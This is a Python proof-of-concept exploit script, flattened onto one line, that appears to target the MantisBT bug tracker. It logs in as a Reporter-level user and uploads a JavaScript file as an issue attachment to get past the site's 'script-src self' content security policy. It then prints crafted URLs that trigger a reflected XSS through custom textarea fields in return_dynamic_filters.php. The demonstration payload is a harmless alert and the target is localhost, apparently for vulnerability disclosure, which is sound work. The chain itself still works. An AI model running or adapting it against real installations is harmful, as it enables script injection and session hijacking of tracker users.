import requests from bs4 import BeautifulSoup from urllib.parse import urlencode class Poc: def __init__(self, baseUrl): self.baseUrl = baseUrl self.ISSUE_CATEGORY_GENERAL_ID = 1 self.ISSUE_PUBLIC_VIEW_STATE = 10 self.CREATE_NEW_ISSUE_CSRF_TOKEN_NAME = 'bug_report_token' self.CREATE_NEW_ISSUE_PAGE_ENDPOINT = f'{self.baseUrl}/bug_report_page.php' self.CREATE_NEW_ISSUE_ENDPOINT = f'{self.baseUrl}/bug_report.php' self.LOGIN_ENDPOINT = f'{self.baseUrl}/login.php' self.RETURN_DYNAMIC_FILTERS_ENDPOINT = f'{self.baseUrl}/return_dynamic_filters.php' self.REST_GET_MY_USER_INFO_ENDPOINT = f'{self.baseUrl}/api/rest/users/me' self.REST_GET_PROJECTS_ENDPOINT = f'{self.baseUrl}/api/rest/projects' self.PADDING_CHARACTERS = 'A' * 7 # return_dynamic_filters.php:105 -> $t_custom_id = mb_substr( $f_filter_target, 13, -7 ); def login(self, account): data = { 'username': account['username'], 'password': account['password'] } response = account['session'].post(self.LOGIN_ENDPOINT, data=data) response.raise_for_status() def getCurrentUserInfo(self, account): response = account['session'].get(self.REST_GET_MY_USER_INFO_ENDPOINT) response.raise_for_status() return response.json() def getCSRFToken(self, endpoint, account, csrfTokenName): response = account['session'].get(endpoint) response.raise_for_status() soup = BeautifulSoup(response.text, 'html.parser') csrf_token = soup.find('input', {'name': csrfTokenName})['value'] return csrf_token def uploadJavaScriptFile(self, account, filename, payload): files = { 'ufile[0]': (filename, payload, 'application/javascript') } data = { self.CREATE_NEW_ISSUE_CSRF_TOKEN_NAME: self.getCSRFToken(self.CREATE_NEW_ISSUE_PAGE_ENDPOINT, account, self.CREATE_NEW_ISSUE_CSRF_TOKEN_NAME), 'project_id': account['user_info']['projects'][0]['id'], 'category_id': self.ISSUE_CATEGORY_GENERAL_ID, 'summary': 'CSP Bypass PoC', 'description': 'CSP Bypass PoC', 'view_state': self.ISSUE_PUBLIC_VIEW_STATE } response = account['session'].post(self.CREATE_NEW_ISSUE_ENDPOINT, files=files, data=data) response.raise_for_status() soup = BeautifulSoup(response.text, 'html.parser') fileEndpoint = soup.find('a', attrs={'href': lambda x: x and 'file_download.php' in x})['href'] return fileEndpoint def getProjects(self, account): response = account['session'].get(self.REST_GET_PROJECTS_ENDPOINT) response.raise_for_status() return response.json()['projects'] def getProjectCustomTextareaFields(self, account): exploitableCustomFields = [] projects = self.getProjects(account) for project in projects: if 'custom_fields' not in project: continue if len(project['custom_fields']) == 0: continue for customField in project['custom_fields']: if customField['type'] != 'textarea': continue exploitableCustomFields.append(customField) if len(exploitableCustomFields) == 0: print(f'[-] No exploitable custom fields found in any project. Exiting...') exit(0) return exploitableCustomFields def execute(self, accounts): # 1. Log in as a user with at least Reporter access level to be able to upload files self.login(accounts['reporter']) accounts['reporter']['user_info'] = self.getCurrentUserInfo(accounts['reporter']) print(f'[+] Logged in as {accounts["reporter"]["username"]}') # 2. Find any exploitable custom textarea fields in all projects that can be used for the reflected XSS vulnerability. exploitableCustomFields = self.getProjectCustomTextareaFields(accounts['reporter']) print(f'[+] Found {len(exploitableCustomFields)} exploitable custom fields in all projects.') javascriptPayload = ''' #!/usr/bin/env node alert(origin); '''.strip() # 3. Upload the XSS JavaScript file using the reporter account for CSP `script-src: 'self'` bypass XSSFileEndpoint = self.uploadJavaScriptFile(accounts['reporter'], 'xss.js', javascriptPayload) print(f'[+] Uploaded JavaScript file as {accounts["reporter"]["username"]} | File Endpoint: {XSSFileEndpoint}') for customField in exploitableCustomFields: xssPayload = urlencode({ 'filter_target': f'custom_field_{customField["id"]}">{self.PADDING_CHARACTERS}' }) print(f' - Custom textarea field name: {customField["name"]} (ID: {customField["id"]}) | Minimum access level: {customField["access_level_r"]["name"]}') print(f' URL to trigger the reflected XSS vulnerability: {self.RETURN_DYNAMIC_FILTERS_ENDPOINT}?{xssPayload}') if __name__ == '__main__': baseUrl = 'http://localhost:8080' accounts = { 'reporter': { 'username': 'reporter', 'password': 'password', 'session': requests.Session() } } poc = Poc(baseUrl) poc.execute(accounts)